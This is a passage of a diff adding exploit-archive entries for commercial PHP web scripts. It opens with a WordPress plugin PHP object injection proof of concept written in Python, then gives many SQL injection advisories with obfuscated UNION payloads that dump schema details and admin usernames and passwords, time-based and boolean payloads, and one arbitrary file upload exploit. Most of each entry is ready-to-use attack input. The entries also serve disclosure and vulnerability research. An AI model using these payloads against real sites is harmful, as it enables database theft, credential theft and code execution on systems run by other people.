"; + 214 $woocommerce->cart->add_to_cart($WC_Prod_ID); + 215 } + 216 + 217 if (isset($_COOKIE['upcp_cart_products'])) { + 218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products'])); + 219 } + 220 else { + 221 $Products_Array = array(); + 222 } + 223 + 224 $Products_Array[] = $_POST['prod_ID']; + 225 $Products_Array = array_unique($Products_Array); + 226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/"); + 227 } + 228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart'); + 229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' ); + +2. vulnerable code on Functions/Shortcodes.php <= not tested + +POC +1. use a WP plugin to test php object injection, +like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/ + +2. make a request +#----------------------------------- +#! /usr/bin/python +import requests +url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?"; +data = {'action':'upcp_add_to_cart'} +headers = { +'Content-type': 'application/x-www-form-urlencoded', +'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', +'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}' +} +r = requests.post(url, data=data, headers=headers) + +print r.content + +#------------------------------------ \ No newline at end of file diff --git a/platforms/php/webapps/43066.txt b/platforms/php/webapps/43066.txt new file mode 100755 index 000000000..8fea852e4 --- /dev/null +++ b/platforms/php/webapps/43066.txt @@ -0,0 +1,40 @@ +# # # # # +# Exploit Title: Zomato Clone Script - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.phpscriptsmall.com/ +# Software Link: http://www.exclusivescript.com/product/099S4111872/php-scripts/zomato-clone-script +# Demo: http://jhinstitute.com/demo/foodpanda/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15993 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/restaurant-menu.php?resid=[SQL] +# +# -539'+++/*!02222UNION*/+/*!02222SELECT*/+0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3130,(/*!02222Select*/+export_set(5,@:=0,(/*!02222select*/+count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x3132,0x3133,0x3134--+- +# +# Parameter: resid (GET) +# Type: boolean-based blind +# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) +# Payload: resid=-9239 OR 3532=3532# +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: resid=539 AND SLEEP(5) +# +# Type: UNION query +# Title: MySQL UNION query (87) - 10 columns +# Payload: resid=539 UNION ALL SELECT 87,87,87,87,87,CONCAT(0x7170767071,0x7368446c664e5950484e757a6b4b5a616972446f41484d74485874656e476369647a774865767369,0x7176766b71),87,87,87,87# +# +# Etc.. +# # # # # diff --git a/platforms/php/webapps/43067.txt b/platforms/php/webapps/43067.txt new file mode 100755 index 000000000..fdd664c54 --- /dev/null +++ b/platforms/php/webapps/43067.txt @@ -0,0 +1,36 @@ +# # # # # +# Exploit Title: Website Broker Script - 'status_id' Parameter SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.phpscriptsmall.com/ +# Software Link: http://www.exclusivescript.com/product/UwCG4464436/php-scripts/website-broker-script +# Demo: http://www.officialwebsiteforsale.com/official/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15992 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/status_list.php?status_id=[SQL] +# +# -12'++/*!50000UNION*/+/*!50000SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5--+- +# +# Parameter: status_id (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: status_id=12' AND 2717=2717 AND 'fNVA'='fNVA +# +# Type: UNION query +# Title: Generic UNION query (NULL) - 5 columns +# Payload: status_id=-1351' UNION ALL SELECT NULL,CONCAT(0x71716b7a71,0x4857455572714d7a48506145547643734d6b794f515a506d6469764f5666736c6d754c7468444178,0x716a6b6271),NULL,NULL,NULL-- AJcv +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43068.txt b/platforms/php/webapps/43068.txt new file mode 100755 index 000000000..d31de72b6 --- /dev/null +++ b/platforms/php/webapps/43068.txt @@ -0,0 +1,66 @@ +# # # # # +# Exploit Title: Vastal I-Tech Agent Zone - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://vastal.com/ +# Software http://vastal.com/agent-zone-real-estate-script.html +# Demo: http://agentzone.vastal.com/demo/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15991 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/searchCommercial.php?property_type=[SQL]&city=[SQL]&posted_by=[SQL] +# +# http://localhost/[PATH]/searchResidential.php?property_type=[SQL]&city=[SQL]&bedroom=[SQL] +# +# Parameter: city (GET) +# Type: boolean-based blind +# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) +# Payload: property_type=&city=-5275 OR 1703=1703#&posted_by= +# +# Type: error-based +# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR) +# Payload: property_type=&city=-1769 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (2860=2860) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&posted_by= +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 time-based blind - Parameter replace +# Payload: property_type=&city=(CASE WHEN (9487=9487) THEN SLEEP(5) ELSE 9487 END)&posted_by= +# +# Parameter: posted_by (GET) +# Type: boolean-based blind +# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) +# Payload: property_type=&city=&posted_by=-5550 OR 1335=1335# +# +# Type: error-based +# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR) +# Payload: property_type=&city=&posted_by=-9423 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (4134=4134) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)# +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 time-based blind - Parameter replace +# Payload: property_type=&city=&posted_by=(CASE WHEN (3754=3754) THEN SLEEP(5) ELSE 3754 END) +# +# Parameter: property_type (GET) +# Type: boolean-based blind +# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) +# Payload: property_type=-8633 OR 6527=6527#&city=&posted_by= +# +# Type: error-based +# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR) +# Payload: property_type=-4342 OR 1 GROUP BY CONCAT(0x7171787671,(SELECT (CASE WHEN (3911=3911) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&city=&posted_by= +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 time-based blind - Parameter replace +# Payload: property_type=(CASE WHEN (2911=2911) THEN SLEEP(5) ELSE 2911 END)&city=&posted_by= +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43069.txt b/platforms/php/webapps/43069.txt new file mode 100755 index 000000000..b9bb0fb44 --- /dev/null +++ b/platforms/php/webapps/43069.txt @@ -0,0 +1,53 @@ +# # # # # +# Exploit Title: Php Inventory & Invoice Management System - Arbitrary File Upload +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://savsofteproducts.com/ +# Software Link: http://www.phpinventory.com/ +# Demo: http://phpinventory.com/phpinventory_demo/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15990 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# +# The vulnerability allows an users upload arbitrary file.... +# +# Vulnerable Source: +# +# .............1 +# if($_FILES['userfile']['name']!=''){ +# $target = 'images/user_pics/'; +# $targets = $target . basename( $_FILES['userfile']['name']); +# $docadd=($_FILES['userfile']['name']); +# if(move_uploaded_file($_FILES['userfile']['tmp_name'], $targets)) +# { +# $pfilename=$_FILES['userfile']['name']; +# $filename=time().$pfilename; +# $new_path=$target.$filename; +# rename($targets,$new_path); +# } +# +#}else{ +#$filename=$_POST['user_picname']; +#} +# .............2,3,4 +# $target = 'images/logo/'; +# $target = 'images/product_images/'; +# $target = 'images/service_providers/'; +# Etc.. +# ............. +# +# Proof of Concept: +# +# http://localhost/[PATH]/index.php/dashboard/edit_myaccountdetail/ +# +# http://localhost/[PATH]/images/user_pics/[...].php +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43070.txt b/platforms/php/webapps/43070.txt new file mode 100755 index 000000000..a85ffd732 --- /dev/null +++ b/platforms/php/webapps/43070.txt @@ -0,0 +1,40 @@ +# # # # # +# Exploit Title: Online Exam Test Application - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.phpscriptsmall.com/ +# Software Link: http://www.exclusivescript.com/product/1z2e4672468/php-scripts/online-exam-test-application +# Demo: http://198.38.86.159/~onlineexamboard/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15989 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/resources.php?action=category&sort=[SQL] +# +# -8++/*!07777UNION*/+/*!07777SELECT*/+0x31,0x32,0x496873616e2053656e63616e,(/*!07777Select*/+export_set(5,@:=0,(/*!07777select*/+count(*)/*!07777from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!07777table_name*/,0x3c6c693e,2),/*!07777column_name*/,0xa3a,2)),@,2))--+- +# +# Parameter: sort (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: action=category&sort=8 AND 5525=5525 +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: action=category&sort=8 AND SLEEP(5) +# +# Type: UNION query +# Title: Generic UNION query (NULL) - 4 columns +# Payload: action=category&sort=8 UNION ALL SELECT NULL,NULL,CONCAT(0x7176707a71,0x77654f6a51797a6c7755546b54574f68467842734c4268517654667a6e584e63634871574f4f454e,0x716b766a71),NULL-- Yhyw +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43071.txt b/platforms/php/webapps/43071.txt new file mode 100755 index 000000000..eb483acae --- /dev/null +++ b/platforms/php/webapps/43071.txt @@ -0,0 +1,30 @@ +# # # # # +# Exploit Title: Nice PHP FAQ Script - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.nicephpscripts.com/ +# Software http://www.nicephpscripts.com/demo_php_script-PHP-FAQ-Script-Knowledgebase-Script.htm +# Demo: http://www.nicephpscripts.com/scripts/faqscript/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15988 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/index.php?nice_theme=[SQL] +# +# Parameter: nice_theme (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: nice_theme=3 AND 5083=5083 +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43072.txt b/platforms/php/webapps/43072.txt new file mode 100755 index 000000000..c5cd593d3 --- /dev/null +++ b/platforms/php/webapps/43072.txt @@ -0,0 +1,49 @@ +# # # # # +# Exploit Title: Fake Magazine Cover Script - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.websitescripts.org/ +# Software Link: http://www.websitescripts.org/website-scripts/fake-magazine-cover-script/prod_81.html +# Demo: http://websitescripts.org/demo/magazinecoverscript/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15987 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/rate.php?value=[SQL] +# +# -1047+/*!00005UniOn*/+/*!00005SelEct*/+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),2--+- +# +# http://localhost/[PATH]/content.php?id=[SQL] +# +# -237+/*!00005UNION*/+/*!00005SELECT*/+1,2,3,4,5,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),7,8,9,10,11,12,13--+- +# +# Parameter: value (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: value=1047 AND 6465=6465 +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: value=1047 AND SLEEP(5) +# +# Parameter: id (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: id=237 AND 1343=1343 +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: id=237 AND SLEEP(5) +# +# Etc.. +# # # # # diff --git a/platforms/php/webapps/43073.txt b/platforms/php/webapps/43073.txt new file mode 100755 index 000000000..c35aec6ef --- /dev/null +++ b/platforms/php/webapps/43073.txt @@ -0,0 +1,29 @@ + + diff --git a/platforms/php/webapps/43074.txt b/platforms/php/webapps/43074.txt new file mode 100755 index 000000000..548f408f3 --- /dev/null +++ b/platforms/php/webapps/43074.txt @@ -0,0 +1,44 @@ +# # # # # +# Exploit Title: Basic B2B Script - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.phpscriptsmall.com/ +# Software Link: http://www.exclusivescript.com/product/nC3F4570353/php-scripts/basic-b2b-script +# Demo: http://readymadeb2bscript.com/product/entrepreneur/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15985 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/product_view1.php?pid=[SQL] +# +# -19'++/*!03333UNION*/+/*!03333SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,(/*!03333Select*/+export_set(5,@:=0,(/*!03333select*/+count(*)/*!03333from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!03333table_name*/,0x3c6c693e,2),/*!03333column_name*/,0xa3a,2)),@,2)),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--+- +# +# http://localhost/[PATH]/productcompanyinfo.php?id=[SQL] +# +# +# Parameter: pid (GET) +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: pid=19' AND SLEEP(5) AND 'zgOs'='zgOs +# +# Parameter: id (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: id=309' AND 2824=2824 AND 'AWCd'='AWCd +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: id=309' AND SLEEP(5) AND 'BTCw'='BTCw +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43075.txt b/platforms/php/webapps/43075.txt new file mode 100755 index 000000000..0f9a7d61b --- /dev/null +++ b/platforms/php/webapps/43075.txt @@ -0,0 +1,36 @@ +# # # # # +# Exploit Title: Creative Management System - CMS Lite 1.4 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://bekirk.co.uk/ +# Software Link: https://codecanyon.net/item/creative-management-system-cms-lite/15297597 +# Demo: http://demo.bekirk.co.uk/ +# Version: 1.4 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15984 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/index.php?S=[SQL] +# +# '+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x3a,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))),0)--+- +# +# Parameter: S (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: S=BeDark' AND 7998=7998 AND 'QNRN'='QNRN +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: S=BeDark' AND SLEEP(5) AND 'DmYc'='DmYc +# +# Etc.. +# # # # # diff --git a/platforms/php/webapps/43076.txt b/platforms/php/webapps/43076.txt new file mode 100755 index 000000000..253cef16e --- /dev/null +++ b/platforms/php/webapps/43076.txt @@ -0,0 +1,31 @@ +# # # # # +# Exploit Title: MyMagazine Magazine & Blog CMS 1.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://geniusocean.com/ +# Software Link: https://codecanyon.net/item/mymagazine-bootstrap-newspaper-magazine-and-blog-cms-script/19620468 +# Demo: http://demo.geniusocean.com/mymagazine/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15983 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/admin_process.php?act=vdoeditform&id=[SQL] +# +# -1'++/*!50000UNION*/+/*!50000SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),VersiON(),0x34,0x35,0x36--+- +# +# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL] +# +# -1'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022From*/+admin--+- +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43077.txt b/platforms/php/webapps/43077.txt new file mode 100755 index 000000000..3b66b4d86 --- /dev/null +++ b/platforms/php/webapps/43077.txt @@ -0,0 +1,31 @@ +# # # # # +# Exploit Title: News Magazine & Blog CMS 1.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://geniusocean.com/ +# Software Link: https://codecanyon.net/item/news-dynamic-newspaper-magazine-and-blog-cms-script/19656143 +# Demo: http://demo.geniusocean.com/news/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15982 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/admin_process.php?act=vdoeditform&id=[SQL] +# +# -1'++/*!50000UNION*/+/*!50000SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),VersiON(),0x34,0x35,0x36--+- +# +# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL] +# +# -1'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022From*/+admin--+- +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43078.txt b/platforms/php/webapps/43078.txt new file mode 100755 index 000000000..b73a71bc1 --- /dev/null +++ b/platforms/php/webapps/43078.txt @@ -0,0 +1,31 @@ +# # # # # +# Exploit Title: Newspaper Magazine & Blog CMS 1.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://geniusocean.com/ +# Software Link: https://codecanyon.net/item/mymagazine-fully-responsive-magazine-cms/19493325 +# Demo: http://demo.geniusocean.com/newspaper/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15981 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/admin/admin_process.php?act=editpollform&id=[SQL] +# +# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x33,0x34,0x35,VerSiOn(),dAtAbAsE(),0x38,0x39,0x3130,0x3131,0x3132--+- +# +# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL] +# +# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022from*/+admin--+- +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43079.txt b/platforms/php/webapps/43079.txt new file mode 100755 index 000000000..86b142a21 --- /dev/null +++ b/platforms/php/webapps/43079.txt @@ -0,0 +1,32 @@ +# # # # # +# Exploit Title: US Zip Codes Database Script - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://rowindex.com/ +# Software Link: https://www.codester.com/items/4898/us-zip-codes-database-php-script +# Demo: http://rowindex.com/demo/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15980 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/index.php?action=lookup-county&state=[SQL] +# +# 11'+/*!08888UniOn*/+/*!08888Select*/+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+- +# +# Parameter: state (GET) +# Type: UNION query +# Title: Generic UNION query (NULL) - 1 column +# Payload: action=lookup-county&state=' UNION ALL SELECT CONCAT(0x716a717071,0x766a414e736e79524546725053474f72754d764a4772697a65666a7551464b46435141414d4e616c,0x7170707071)-- hvbM +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43080.txt b/platforms/php/webapps/43080.txt new file mode 100755 index 000000000..18dff5b48 --- /dev/null +++ b/platforms/php/webapps/43080.txt @@ -0,0 +1,30 @@ +# # # # # +# Exploit Title: Shareet - Photo Sharing Social Network - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: https://odallated.com/ +# Software Link: https://www.codester.com/items/4910/shareet-photo-sharing-social-network +# Demo: https://odallated.com/shareet/demo/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15979 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/?photo=[SQL] +# +# Parameter: photo (GET) +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: photo=saSihSiRf1E' AND SLEEP(5) AND 'DUqs'='DUqs +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43081.txt b/platforms/php/webapps/43081.txt new file mode 100755 index 000000000..419e41ef2 --- /dev/null +++ b/platforms/php/webapps/43081.txt @@ -0,0 +1,36 @@ +# # # # # +# Exploit Title: AROX School ERP PHP Script - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://arox.in/ +# Software Link: https://www.codester.com/items/4908/arox-school-erp-php-script +# Demo: http://erp1.arox.in/ +# Version: CVE-2017-15978 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: N/A +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/office_admin/?pid=95&action=print_charactercertificate&id=[SQL] +# http://localhost/[PATH]/office_admin/?pid=95&action=edit&id=3[SQL] +# +# Parameter: id (GET) +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: pid=95&action=print_charactercertificate&id=3 AND SLEEP(5) +# +# Parameter: id (GET) +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: pid=95&action=edit&id=3 AND SLEEP(5) +# +# Etc.. +# # # # # diff --git a/platforms/php/webapps/43082.txt b/platforms/php/webapps/43082.txt new file mode 100755 index 000000000..91573bf80 --- /dev/null +++ b/platforms/php/webapps/43082.txt @@ -0,0 +1,46 @@ + + diff --git a/platforms/php/webapps/43083.txt b/platforms/php/webapps/43083.txt new file mode 100755 index 000000000..b9fd9d8a5 --- /dev/null +++ b/platforms/php/webapps/43083.txt @@ -0,0 +1,40 @@ +# # # # # +# Exploit Title: ZeeBuddy 2x - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.zeescripts.com/ +# Software Link: http://www.zeebuddy.com/ +# Demo: http://www.zeebuddy.com/demo/ +# Version: 2x +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15976 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/admin/editadgroup.php?groupid=[SQL] +# +# -1++/*!00009UNION*/+/*!00009SELECT*/+0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,(SELECT+GROUP_CONCAT(0x557365726e616d653a,name,0x3c62723e,0x50617373776f72643a,pwd+SEPARATOR+0x3c62723e)+FROM+admin)--+- +# +# Parameter: groupid (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: groupid=1 AND 3188=3188 +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: groupid=1 AND SLEEP(5) +# +# Type: UNION query +# Title: Generic UNION query (NULL) - 9 columns +# Payload: groupid=1 UNION ALL SELECT CONCAT(0x71707a7071,0x754642515970647855775a494a486368477a6e45755355495050634270466969495966676b78536c,0x7162767071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oMUM +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43084.txt b/platforms/php/webapps/43084.txt new file mode 100755 index 000000000..6f19c8fe4 --- /dev/null +++ b/platforms/php/webapps/43084.txt @@ -0,0 +1,34 @@ +# # # # # +# Exploit Title: Vastal I-Tech Dating Zone 0.9.9 - 'product_id' Parameter SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://vastal.com/ +# Software http://vastal.com/dating-zone-the-dating-software.html +# Demo: http://datingzone.vastal.com/demo/ +# Version: 0.9.9 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15975 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/add_to_cart.php?product_id=[SQL] +# +# Parameter: product_id (GET) +# Type: error-based +# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) +# Payload: product_id=3 AND (SELECT 5917 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5917=5917,1))),0x71716b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) +# +# 